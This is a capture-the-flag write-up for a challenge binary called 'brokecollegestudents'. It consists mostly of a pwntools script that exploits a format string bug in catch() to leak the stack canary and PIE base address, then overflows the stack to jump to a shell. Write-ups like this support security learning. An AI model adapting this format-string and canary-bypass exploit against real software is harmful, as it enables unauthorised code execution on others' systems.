### Download the binary from here : https://github.com/0xSh4dy/CTF-Writeups/blob/file/brokecollegestudents### There is a format string vulnerability in the catch() function. Also, PIE is enabled and there is a stack canary. We can exploit the format string vulnerability to leak the stack canary and the base address of the elf```#!/usr/bin/env python3from pwn import *elf = context.binary = ELF("./brokecollegestudents")context.log_level = "debug"p = process("./brokecollegestudents")#gdb.attach(p)def initRecv():    p.sendlineafter("Choice: ","1")    p.recv()    p.sendline("1")    p.recv()    p.sendline("1")
initRecv()
# Leaking the Stack Canaryp.sendlineafter("name","%9$p")for i in range(2):    p.recvline()leak = p.recvuntil("What").decode()[:-4]canary = hex(int(leak,16))log.info("Canary: {}".format(canary))canary = int(canary,16)initRecv()
#Leaking the base address of ELF# I found this fmt payload after lots of debugging.p.sendlineafter("name","%28$p")for i in range(2):    p.recvline()leak = p.recvuntil("What").decode()[:-4]
leak = int(leak,16)elf.address = leak-0x18f6log.info("elf base address: {}".format(hex(elf.address)))initRecv()shell = elf.address + 0x14ecpayload = b'a'*24 + p64(canary) + b'a'*8+p64(shell)p.sendline(payload)p.interactive()```